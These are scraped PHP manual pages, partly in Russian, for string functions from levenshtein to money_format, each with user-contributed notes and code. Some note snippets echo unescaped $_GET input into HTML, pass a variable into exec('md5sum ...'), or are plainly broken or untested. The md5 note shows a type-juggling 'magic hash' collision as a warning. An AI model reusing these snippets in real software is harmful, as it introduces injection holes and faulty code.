I then calculate the Levenshtein distance between the search term and the actual name found by the SOUNDEX() search. This will give me a score on how close my results are to the search string.

I can the sort my results for display listing the closest results first.

<?php
// PHP CODE INCLUDING DB LOOKUPS HERE
    usort($searchresults, "finallevenshteinsortfunction");

function finallevenshteinsortfunction($a, $b)
{
    if(($a['levenshtein'] > $b['levenshtein']) || ( $a['levenshtein'] == $b['levenshtein'] && strnatcasecmp( $a['Last_Name'], $b['Last_Name']) >= 1) ){ return $a['levenshtein'];} // Ok... The levenstein is greater OR with the same levenshtein, the last name is alphanumerically first
    elseif($a['levenshtein'] == $b['levenshtein']){ return '0';} // The levenstein matches
    elseif($a['levenshtein'] < $b['levenshtein']){ return -$a['levenshtein'];}
    else{die("<!-- a horrable death -->");}
}
?>
gzink at zinkconsulting dot com 03-Dec-2003 03:03
Try combining this with metaphone() for a truly amazing fuzzy search function. Play with it a bit, the results can be plain scary (users thinking the computer is almost telepathic) when implemented properly. I wish spell checkers worked as well as the code I've written.

I would release my complete code if reasonable, but it's not, due to copyright issues. I just hope that somebody can learn from this little tip!
genialbrainmachine at dot IHATESPAM dot tiscali dot it 26-Oct-2003 11:55
I wrote this function to have an "intelligent" comparison between data to be written in a DB
and already existent data. Not ony calculating distances but also balancing distances for
each field.
<?php
/*
This function calculate a balanced percentage distance between an array of strings
"$record" and a compared array "$compared", balanced through an array of
weights "$weight". The three arrays must have the same indices.
For an unbalanced distance, set all weights to 1.
The used formula is:
percentage distance = sum(field_levenshtein_distance * field_weight) / sum(record_field_length * field_weight) * 100
*/
function search_similar($record, $weights, $compared, $precision=2) {
         $field_names = array_keys($record);
         # "Weighted length" of $record and "weighted distance".
         foreach ($field_names as $field_key) {
                 $record_weight += strlen($record[$field_key]) * $weights[$field_key];
                 $weighted_distance += levenshtein($record[$field_key],$compared[$field_key]) * $weights[$field_key];
                 }
         # Building the result..
         if ($record_weight) {
             return round(($weighted_distance / $record_weight * 100),$precision);
            } elseif ((strlen(implode("",$record)) == 0) && (strlen(implode("",$compared)) == 0)) { // empty records
            return round(0,$precision);
            } elseif (array_sum($weights) == 0) { // all weights == 0
            return round(0,$precision);
            } else {
            return false;
            }
         /*
         Be very careful distinguising 0 result and false result.
         The function results 0 ('0.00' if $precision is 2 and so on) if:
         - $record and $compared are equals (even if $record and $compared are empty);
         - all weights are 0 (the meaning could be "no care about any field").
         Conversely, the function results false if $record is empty, but the weights
         are not all 0 and $compared is not empty. That cause a "division by 0" error.
         I wrote this kind of check:

         if ($rel_dist = search_similar(...)) {
             print $rel_dist;
            } elseif ($rel_dist == "0.00") { // supposing that $precision is 2
            print $rel_dist;
            } else {
            print "infinite";
            }

         */
         }
?>
jlsalinas at gmx dot net 25-Oct-2003 07:28
Regarding the post by fgilles on April 26th 2001, I suggest not to use levenshtein() function to test for over-uppercasing unless you've got plenty of time to waste in your host. ;) Anyhow, I think it's a useful feature, as I get really annoyed when reading whole messages in uppercase.

PHP's levenshtein() function can only handle up to 255 characters, which is not realistic for user input (only the first paragraph oh this post has 285 characters). If you choose to use a custom function able to handle more than 255 characters, efficiency is an important issue.

I use this function, specific for this case, but much faster:

function ucase_percent ($str) {
    $str2 = strtolower ($str);

    $l = strlen ($str);
    $ucase = 0;

    for ($i = 0; $i < $l; $i++) {
        if ($str{$i} != $str2{$i}) {
            $ucase++;
        }
    }

    return $ucase / $l * 100.0;
}

I think 10% is enough for written English (maybe other languages like German, which use more capital letters, need more). With some sentencies in uppercase (everybody has the right to shout occasionally), 20% would be enough; so I use a threshold of 30%. When exceeded, I lowercase the whole message.

Hope you find it useful and it helps keeping the web free of ill-mannered people.
inerte is my hotmail.com username 11-Jul-2003 10:22
I am using this function to avoid duplicate information on my client's database.

After retrieving a series of rows and assigning the results to an array values, I loop it with foreach comparing its levenshtein() with the user supplied string.

It helps to avoid people re-registering "John Smith", "Jon Smith" or "Jon Smit".

Of course, I can't block the operation if the user really wants to, but a suggestion is displayed along the lines of: "There's a similar client with this name.", followed by the list of the similar strings.
bisqwit at iki dot fi 12-Aug-2002 07:43
At the time of this manual note the user defined thing
in levenshtein() is not implemented yet. I wanted something
like that, so I wrote my own function. Note that this
doesn't return levenshtein() difference, but instead
an array of operations to transform a string to another.

Please note that the difference finding part (resync)
may be extremely slow on long strings.

<?php

/* matchlen(): returns the length of matching
 * substrings at beginning of $a and $b
 */
function matchlen(&$a, &$b)
{
  $c=0;
  $alen = strlen($a);
  $blen = strlen($b);
  $d = min($alen, $blen);
  while($a[$c] == $b[$c] && $c < $d)
    $c++;
  return $c;
}

/* Returns a table describing
 * the differences of $a and $b */
function calcdiffer($a, $b)
{
  $alen = strlen($a);
  $blen = strlen($b);
  $aptr = 0;
  $bptr = 0;

  $ops = array();

  while($aptr < $alen && $bptr < $blen)
  {
    $matchlen = matchlen(substr($a, $aptr), substr($b, $bptr));
    if($matchlen)
    {
      $ops[] = array('=', substr($a, $aptr, $matchlen));
      $aptr += $matchlen;
      $bptr += $matchlen;
      continue;
    }
    /* Difference found */

    $bestlen=0;
    $bestpos=array(0,0);
    for($atmp = $aptr; $atmp < $alen; $atmp++)
    {
      for($btmp = $bptr; $btmp < $blen; $btmp++)
      {
        $matchlen = matchlen(substr($a, $atmp), substr($b, $btmp));
        if($matchlen>$bestlen)
        {
          $bestlen=$matchlen;
          $bestpos=array($atmp,$btmp);
        }
        if($matchlen >= $blen-$btmp)break;
      }
    }
    if(!$bestlen)break;

    $adifflen = $bestpos[0] - $aptr;
    $bdifflen = $bestpos[1] - $bptr;

    if($adifflen)
    {
      $ops[] = array('-', substr($a, $aptr, $adifflen));
      $aptr += $adifflen;
    }
    if($bdifflen)
    {
      $ops[] = array('+', substr($b, $bptr, $bdifflen));
      $bptr += $bdifflen;
    }
    $ops[] = array('=', substr($a, $aptr, $bestlen));
    $aptr += $bestlen;
    $bptr += $bestlen;
  }
  if($aptr < $alen)
  {
    /* b has too much stuff */
    $ops[] = array('-', substr($a, $aptr));
  }
  if($bptr < $blen)
  {
    /* a has too little stuff */
    $ops[] = array('+', substr($b, $bptr));
  }
  return $ops;
}

Example:

$tab = calcdiffer('T?m? on jonkinlainen testi',
                  'T?m? ei ole mink??nlainen testi.');
$ops = array('='=>'Ok', '-'=>'Remove', '+'=>'Add');
foreach($tab as $k)
  echo $ops[$k[0]], " '", $k[1], "'\n";

Example output:

Ok 'T?m? '
Remove 'on jonki'
Add 'ei ole mink??'
Ok 'nlainen testi'
Add '.'
11-Apr-2002 06:57
For spell checking applications, delay could be tolerable if you assume the typist got the first two or three chars of each word right.  Then you'd only need to calc distances for a small segment of the dictionary.  This is a compromise but one I think a lot of spell checkers make.
For an example of site search using this function look at the PHP manual search button on this page.  It appears to be doing this for the PHP function list.
fgilles at free dot fr 26-Apr-2001 01:32
Exempla of use for a forum: users can't post messages too much uppercased

<?php
if ((strlen($subject)>10) and ( ( levenshtein ($subject, strtolower ($subject) / strlen ($subject) ) > .3 ) ){
    $subject = strtolower($subject);
}
?>
dschultz at protonic dot com 10-Aug-2000 09:01
It's also useful if you want to make some sort of registration page and you want to make sure that people who register don't pick usernames that are very similar to their passwords.
ad1n at dc dot uba dot ar 04-Aug-2000 05:01
One application of this is when you want to look for a similar match instead of an exact one. You can sort the results of checking the distances of a word to a dictionary and sort them to see which were the more similar ones. Of course it will be a quite resourse consuming task anyway.


Возвращает информацию о форматировании чисел

  • « levenshtein
  • ltrim »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает информацию о форматировании чисел

localeconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

localeconv — Возвращает информацию о форматировании чисел

Описание

localeconv(): array

Возвращает ассоциативный массив с информацией о числовых и денежных форматах в текущей локали.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

localeconv() возвращает данные, основанные на текущей локали, установленной функцией setlocale(). Возвращаемый массив содержит следующие элементы:

Элемент | Описание
decimal_point | Символ десятичной точки
thousands_sep | Разделитель групп
grouping | Массив, содержащий количества цифр в группах для числовых данных
int_curr_symbol | Международное обозначение валюты (например, RUB)
currency_symbol | Национальное обозначение валюты (например, руб)
mon_decimal_point | Символ десятичной точки в денежном формате
mon_thousands_sep | Разделитель групп в денежном формате
mon_grouping | Массив, содержащий количества цифр в группах для денежных данных
positive_sign | Знак для положительных чисел
negative_sign | Знак для отрицательных чисел
int_frac_digits | Число разрядов после точки (международное)
frac_digits | Число разрядов после точки (национальное)
p_cs_precedes | true, если currency_symbol записывается перед положительным значением, иначе false
p_sep_by_space | true, если currency_symbol отделяется от положительного значения пробелом, иначе false
n_cs_precedes | true, если currency_symbol записывается перед отрицательным значением, иначе false
n_sep_by_space | true, если currency_symbol отделяется от отрицательного значения пробелом, иначе false
p_sign_posn Для положительных чисел:
  • 0 - Число и обозначение валюты заключаются в скобки
  • 1 - Знак записывается перед числом и обозначением валюты
  • 2 - Знак записывается после числа и обозначения валюты
  • 3 - Знак записывается перед обозначением валюты
  • 4 - Знак записывается после обозначения валюты
n_sign_posn Для отрицательных чисел:
  • 0 - Число и обозначение валюты заключаются в скобки
  • 1 - Знак записывается перед числом и обозначением валюты
  • 2 - Знак записывается после числа и обозначения валюты
  • 3 - Знак записывается перед обозначением валюты
  • 4 - Знак записывается после обозначения валюты

p_sign_posn и n_sign_posn содержат строку с опциями форматирования. Каждое число представляет собой одно из вышеперечисленных условий.

Элементы группировки содержат массивы, которые описывают способ группировки цифр. Например, поле группировки денежных величин в локали nl_NL (в режиме UTF-8 со знаком евро) содержит массив из двух элементов со значениями 3 и 3. Больший индекс массива соответствует группировке цифр, расположенных левее. Если элемент массива равен CHAR_MAX, последующие цифры не группируются. Если элемент массива равен 0, используется значение предыдущего элемента.

Примеры

Пример #1 Пример использования localeconv()

<?php
if (false !== setlocale(LC_ALL, 'ru_RU.UTF-8')) {
$locale_info = localeconv();
print_r($locale_info);
}
?>

Результат выполнения приведённого примера:

Array
(
    [decimal_point] => ,
    [thousands_sep] =>
    [int_curr_symbol] => RUB
    [currency_symbol] => руб
    [mon_decimal_point] => .
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 0
    [p_sep_by_space] => 1
    [n_cs_precedes] => 0
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 1
    [grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

Смотрите также

  • setlocale() - Устанавливает региональные настройки

User Contributed Notes

verdy_p at wanadoo dot fr 22-Jul-2001 07:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...


Удаляет пробелы (или другие символы) из начала строки

  • « localeconv
  • md5_file »
  • PHP Manual
  • Функции для работы со строками
  • Удаляет пробелы (или другие символы) из начала строки

ltrim

(PHP 4, PHP 5, PHP 7, PHP 8)

ltrim — Удаляет пробелы (или другие символы) из начала строки

Описание

ltrim(string $string, string $characters = " \n\r\t\v\x00"): string

Удаляет пробелы (или другие символы) из начала строки.

Список параметров

string

Входная строка.

characters

С помощью параметра characters можно также указать удаляемые символы. Просто перечислите все символы, которые вы хотите удалить. Можно указать конструкцию .. для обозначения диапазона символов.

Возвращаемые значения

Эта функция возвращает строку string с удалёнными из начала строки пробелами. Если второй параметр не передан, ltrim() удаляет следующие символы:

  • " " (ASCII 32 (0x20)), обычный пробел.
  • "\t" (ASCII 9 (0x09)), символ табуляции.
  • "\n" (ASCII 10 (0x0A)), символ перевода строки.
  • "\r" (ASCII 13 (0x0D)), символ возврата каретки.
  • "\0" (ASCII 0 (0x00)), NUL-байт.
  • "\v" (ASCII 11 (0x0B)), вертикальная табуляция.

Примеры

Пример #1 Пример использования ltrim()

<?php

$text = "\t\tThese are a few words :) ... ";
$binary = "\x09Example string\x0A";
$hello = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = ltrim($text);
var_dump($trimmed);

$trimmed = ltrim($text, " \t.");
var_dump($trimmed);

$trimmed = ltrim($hello, "Hdle");
var_dump($trimmed);

// удаляем управляющие ASCII-символы с начала $binary
// (от 0 до 31 включительно)
$clean = ltrim($binary, "\x00..\x1F");
var_dump($clean);

?>

Результат выполнения приведённого примера:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "These are a few words :) ...  "
string(30) "These are a few words :) ...  "
string(7) "o World"
string(15) "Example string
"

Смотрите также

  • trim() - Удаляет пробелы (или другие символы) из начала и конца строки
  • rtrim() - Удаляет пробелы (или другие символы) из конца строки

User Contributed Notes

Mauro 30-Nov-2017 01:36
I noticed one thing.

Suppose you have to ltrim zeroes from strings like "015", "002", etc. and convert them back to numbers, eg. using intval.

Suppose you must convert to number "000" too.

In this case:

$trimmedString = ltrim('000', '0');

the value of $trimmedString would be NULL (and I think the docs should mention this).

Anyway, I initially thought I had to conditional check for this '000', but I found that intval(NULL) returns 0 (this thing is not in the docs of intval but is in a comment)
tavi undersc 10 from yahoocom 29-Oct-2015 10:11
When using a $character_mask the trimming stops at the first character that is not on that mask.

So in the $string = "Hello world" example with $character_mask = "Hdle", ltrim($hello, $character_mask) goes like this:
1. Check H from "Hello world" => it is in the $character_mask, so remove it
2. Check e from "ello world" => it is in the $character_mask, so remove it
3. Check l from "llo world" => it is in the $character_mask, so remove it
4. Check l from "lo world" => it is in the $character_mask, so remove it
5. Check o from "o world" => it is NOT in the $character_mask, exit the function

Remaining string is "o world".

I hope it helps someone as I had a confusing moment with this function.
mroeling at exed dot nl 08-Apr-2014 10:33
@scion4581

The problem is that the character mask (_stw in your case) isn't a literal string, but a character collection. So all characters within _stw are stripped. In your case this includes the w of weight also.
juan at ecogomera dot com 10-Dec-2013 09:55
+=0 not valid for something like 0000-5. Result is 0
dzek dot remove_this at dzek dot eu 25-Jul-2011 01:27
Guys, if += 0 is producing wrong values sometimes, and preg_replace is cpu consuming, then just stick to the main function described on that page, and use:
<?php
$value = ltrim($value, '0');
?>
should be the fastest and most reliable.
I think all those comments can be misleading for begginers checking this page - it's sort of using magic tricks to reinvent the wheel.
Mike 08-Jan-2011 12:03
Keep in mind the amount of resources preg_replace() uses.
I would suggest a simple if statement if you need to parse through large amounts of data.
<?php
function remove_leading_zeros_from_number($number_string) {
  $limit = 9000.1
  $temp = $number
  (float) $temp;
  if ($number < $limit) {
    $number += 0;
  } else {
    preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string)
  }
}
?>

Code is untested, but probably sound.
Usamah M dot Ali (usamah1228 at gmail dot com) 04-Feb-2008 02:42
For those who use right-to-left languages such as Arabic, Hebrew, etc., it's worth mentioning that ltrim() (which stands for left trim) & rtrim() (which stands for right trim) DO NOT work contextually. The nomenclature is rather semantically incorrect. So in an RTL script, ltrim() will trim text from the right direction (i.e. beginning of RTL strings), and rtrim() will trim text from the left direction (i.e. end of RTL strings).
John Sherwood 06-Aug-2006 12:13
To remove leading/trailing zeroes (example: "0123.4560"), doing a += 0 is easier than trim tricks.


Возвращает MD5-хеш файла

  • « ltrim
  • md5 »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает MD5-хеш файла

md5_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

md5_file — Возвращает MD5-хеш файла

Описание

md5_file(string $filename, bool $binary = false): string|false

Вычисляет MD5-хеш файла, имя которого задано аргументом filename, используя » алгоритм MD5 RSA Data Security, Inc. и возвращает этот хеш. Хеш представляет собой 32-значное шестнадцатеричное число.

Список параметров

filename

Имя файла

binary

Если имеет значение true, то возвращается бинарная строка из 16 символов.

Возвращаемые значения

Возвращает строку в случае успешного выполнения, иначе false.

Примеры

Пример #1 Пример использования md5_file()

<?php
$file = 'php-5.3.0alpha2-Win32-VC9-x64.zip';

echo 'MD5-хеш файла ' . $file . ': ' . md5_file($file);
?>

Смотрите также

  • md5() - Возвращает MD5-хеш строки
  • sha1_file() - Возвращает SHA1-хеш файла
  • crc32() - Вычисляет полином CRC32 для строки

User Contributed Notes

lukasamd at gmail dot com 14-Feb-2012 10:35
It's faster to use md5sum than openssl md5:

<?php
$begin = microtime(true);

$file_path = '../backup_file1.tar.gz';
$result = explode("  ", exec("md5sum $file_path"));
echo "Hash = ".$result[0]."<br />";

# Here 7 other big files (20-300 MB)

$end = microtime(true) - $begin;
echo "Time = $end";
# Time = 4.4475841522217

#Method with openssl
# Time = 12.1463856900543
?>

About 3x faster
Chris 08-Nov-2009 07:24
If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files.  There's no reason to read two whole files and do all the math if the second byte of each file is different.  If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files.  This can be much faster:

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
    echo 'files identical';
else
    echo 'files not identical';

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
smartin 12-Mar-2008 04:58
In response to using exec instead for performance (Nov 13 2007 post), It looks like the performance depends on the size of the file.  See the results below using the same script from the original post.  The first hash is with md5_file and the second is with openssl md5.

With a 1MB file:
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.005006
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.01498

With a 2MB file:

Hash = 4387904830a4245a8ab767e5937d722c; time = 0.010393
Hash = 4387904830a4245a8ab767e5937d722c; time = 0.016691

With a 10MB file:

Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.241907
Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.037597

Performance seems to change proportionally with the file size.  Judging from the previous post's default file name (.mov) he/she was probably dealing with a large file.  These are just quick tests and far from a perfect benchmark, but you might want to test your own files before assuming that the openssl solution is faster (ie, if working with small text files vs. movies, etc)
potsed [at] gmail [dot] com 27-May-2007 04:12
Heres a function to give an md5 for an entire directory..

function MD5_DIR($dir)
{
    if (!is_dir($dir))
    {
        return false;
    }

    $filemd5s = array();
    $d = dir($dir);

    while (false !== ($entry = $d->read()))
    {
        if ($entry != '.' && $entry != '..')
        {
             if (is_dir($dir.'/'.$entry))
             {
                 $filemd5s[] = MD5_DIR($dir.'/'.$entry);
             }
             else
             {
                 $filemd5s[] = md5_file($dir.'/'.$entry);
             }
         }
    }
    $d->close();
    return md5(implode('', $filemd5s));
}
richard at interlink dot com dot au 16-Nov-2004 12:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));


Возвращает MD5-хеш строки

  • « md5_file
  • metaphone »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает MD5-хеш строки

md5

(PHP 4, PHP 5, PHP 7, PHP 8)

md5 — Возвращает MD5-хеш строки

Внимание

Не рекомендуется использовать эту функцию для безопасного хранения паролей ввиду высокой скорости работы этого алгоритма. Подробнее об этом рассказано в разделе «Ответы на часто задаваемые вопросы по хешированию паролей».

Описание

md5(string $string, bool $binary = false): string

Вычисляет MD5-хеш строки string, используя » алгоритм MD5 RSA Data Security, Inc. и возвращает этот хеш.

Список параметров

string

Строка.

binary

Если необязательный аргумент binary имеет значение true, то возвращается бинарная строка из 16 символов.

Возвращаемые значения

Возвращает хеш в виде 32-символьного шестнадцатеричного числа.

Примеры

Пример #1 Пример использования md5()

<?php
$str = 'яблоко';

if (md5($str) === '1afa148eb41f2e7103f21410bf48346c') {
echo "Вам зелёное или красное яблоко?";
}
?>

Смотрите также

  • md5_file() - Возвращает MD5-хеш файла
  • sha1_file() - Возвращает SHA1-хеш файла
  • crc32() - Вычисляет полином CRC32 для строки
  • sha1() - Возвращает SHA1-хеш строки
  • hash() - Генерирует хеш-код (подпись сообщения)
  • crypt() - Необратимое хеширование строки
  • password_hash() - Создаёт хеш пароля

User Contributed Notes

yiminrong at yahoo dot ca 02-Feb-2021 01:37
Regarding Ray Paseur's comment, the strings hash to:

0e462097431906509019562988736854
0e830400451993494058024219903391

The odds of getting a hash exactly matching the format /^0+e[0-9]+$/ are not high but are also not negligible.

It should be added as a general warning for all hash functions to always use the triple equals === for comparison.

Actually, the warning should be in the operators section when comparing string values! There are lots of warnings about string comparisons, but nothing specific about the format /^0+e[0-9]+$/.
Steve M 10-Jan-2020 02:20
I've found multiple sites suggesting the code:

md5(file_get_contents($filename));

Until recently, I hadn't noticed any issues with this locally... but then I tried to hash a 700MB file, with a 2048MB memory limit and kept getting out of memory errors...

There appears to be a limit to how long a string the md5() function can handle, and the alternative function is likely more memory efficient anyway. I would highly recommend to all who need file hashing (for detecting duplicates, not security digests) use the md5_file() function and NOT the regular string md5() function!

md5_file($filename);

Note, to those interested, as this was for a local application not a server, I was more concerned with results than memory efficiency. In a live environment, you would never want to read an entire file into memory at once when avoidable. (at the time of coding, I did not know of the alternative function)
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:10
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
hkmaly 27-Nov-2017 10:11
Note: Before you get some idea like using md5 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts.
radon8472 at radon-software dot net 18-Apr-2016 02:10
<?php
    function raw2hex($rawBinaryChars)
    {
      return = array_pop(unpack('H*', $rawBinaryChars));
    }
?>

The complement of hey2raw.
You can use to convert from raw md5-format to human-readable format.

This can be usefull to check "Content-Md5" HTTP-Header.

<?php
  $rawMd5    = base64_decode($_SERVER['HTTP_CONTENT_MD5']);
  $post_data = file_get_contents("php://input");

  if(raw2hex($rawMd5) == md5($post_data)) // Post-Data is okay
  else                                    // Post-Data is currupted
?>
John 17-Nov-2009 03:08
If you want to hash a large amount of data you can use the hash_init/hash_update/hash_final functions.

This allows you to hash chunks/parts/incremental or whatever you like to call it.
Shane Allen 14-Apr-2003 08:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd


Возвращает ключ metaphone для строки

  • « md5
  • money_format »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает ключ metaphone для строки

metaphone

(PHP 4, PHP 5, PHP 7, PHP 8)

metaphone — Возвращает ключ metaphone для строки

Описание

metaphone(string $string, int $max_phonemes = 0): string

Возвращает ключ metaphone для строки string.

Подобно функции soundex(), metaphone возвращает одинаковое значение для слов, имеющих сходное произношение. Эта функция более точна, чем soundex(), так как учитывает основные правила произношения английского языка. Длина возвращаемой строки не фиксирована.

Функция metaphone была написана Lawrence Philips <lphilips at verity dot com> и описана в книге ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995].

Список параметров

string

Входная строка.

max_phonemes

Этот параметр выставляет ограничение в max_phonemes символов на длину возвращаемого ключа metaphone. Однако результирующие фонемы всегда транскрибируются полностью, поэтому длина результирующей строки может быть немного больше, чем phonemes. Значение по умолчанию 0 означает отсутствие ограничений.

Возвращаемые значения

Возвращает ключ metaphone в виде строки.

Список изменений

Версия | Описание
8.0.0 | Функция возвращала false в случае возникновения ошибки.

Примеры

Пример #1 Простой пример использования metaphone()

<?php
var_dump(metaphone('programming'));
var_dump(metaphone('programmer'));
?>

Результат выполнения приведённого примера:

string(7) "PRKRMNK"
string(6) "PRKRMR"

Пример #2 Использование параметра max_phonemes

<?php
var_dump(metaphone('programming', 5));
var_dump(metaphone('programmer', 5));
?>

Результат выполнения приведённого примера:

string(5) "PRKRM"
string(5) "PRKRM"

Пример #3 Использование параметра max_phonemes

В этом примере metaphone() предлагается создать строку из пяти символов, но для этого потребуется разделить последнюю фонему ('x' предполагается преобразовать в 'KS'), поэтому функция возвращает строку из шести символов.

<?php
var_dump(metaphone('Asterix', 5));
?>

Результат выполнения приведённого примера:

string(6) "ASTRKS"

User Contributed Notes

isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
Ray.Paseur often uses Gmail 14-Jun-2013 01:03
Metaphone() apparently ignores non-English characters.  Comparing Place TO Place yields "PL" and "PLS."  A similar result comes from soundex().
Vipindas K.S 09-May-2008 09:49
metaphone
=======================
The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree.
Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent.

html code
==========
<html>
<body>
<form action="test.php" name="test" method="get">
Name1:<input type="text" name="name1" /><br />
Name2:<input type="text" name="name2" /><br />
<input type="submit" name="submit" value="compare" />
</form>

<!--php code begins here -->

<?php
if(isset($_GET['submit']))
{
$str1 = $_GET['name1'];
$str2 = $_GET['name2'];
$meta_one=metaphone($str1);
$meta_two=metaphone($str2);
echo "metaphone code for ".$str1." is ". $meta_one;
echo "<br />";
echo "metaphone code for ".$str2." is ". $meta_two."<br>";
if($meta_one==$meta_two)
{
echo "metaphone codes are matching";
}
else
{
echo "metaphone codes are not matching";
}
}
?>

</body>
</html>

Metaphone  algorithm was developed by Lawrence Philips.

Lawrence Philips' RULES follow:

 The 16 consonant sounds:
                                             |--- ZERO represents "th"
                                             |
      B  X  S  K  J  T  F  H  L  M  N  P  R  0  W  Y

 Exceptions:

   Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-"  ----> drop first letter
                      "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright"

   Beginning of word: "x"                                ----> change to "s"
                                      as in "Deng Xiaopeng"

   Beginning of word: "wh-"                              ----> change to "w"
                                      as in "Whalen"

 Transformations:

   B ----> B      unless at the end of word after "m", as in "dumb", "McComb"

   C ----> X      (sh) if "-cia-" or "-ch-"
           S      if "-ci-", "-ce-", or "-cy-"
                  SILENT if "-sci-", "-sce-", or "-scy-"
           K      otherwise, including in "-sch-"

   D ----> J      if in "-dge-", "-dgy-", or "-dgi-"
           T      otherwise

   F ----> F

   G ---->        SILENT if in "-gh-" and not at end or before a vowel
                            in "-gn" or "-gned"
                            in "-dge-" etc., as in above rule
           J      if before "i", or "e", or "y" if not double "gg"
           K      otherwise

   H ---->        SILENT if after vowel and no vowel follows
                         or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-"
           H      otherwise

   J ----> J

   K ---->        SILENT if after "c"
           K      otherwise

   L ----> L

   M ----> M

   N ----> N

   P ----> F      if before "h"
           P      otherwise

   Q ----> K

   R ----> R

   S ----> X      (sh) if before "h" or in "-sio-" or "-sia-"
           S      otherwise

   T ----> X      (sh) if "-tia-" or "-tio-"
           0      (th) if before "h"
                  silent if in "-tch-"
           T      otherwise

   V ----> F

   W ---->        SILENT if not followed by a vowel
           W      if followed by a vowel

   X ----> KS

   Y ---->        SILENT if not followed by a vowel
           Y      if followed by a vowel

   Z ----> S
php at casadebender dot com 27-Mar-2008 10:24
A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone
mail at spam-off dot iaindooley dot com 16-Jan-2004 12:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.


Форматирует число как денежную величину

  • « metaphone
  • nl_langinfo »
  • PHP Manual
  • Функции для работы со строками
  • Форматирует число как денежную величину

money_format

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

money_format — Форматирует число как денежную величину

Внимание

Эта функция УСТАРЕЛА начиная с PHP 7.4.0 и была УДАЛЕНА в PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

money_format(string $format, float $number): string

money_format() форматирует число number как денежную величину. Эта функция вызывает функцию strfmon() языка C, но позволяет преобразовать только одно число за один вызов.

Список параметров

format

Описание формата состоит из:

  • символа %

  • необязательных флагов

  • необязательной ширины поля

  • необязательной точности до запятой

  • необязательной точности после запятой

  • обязательного описателя преобразования

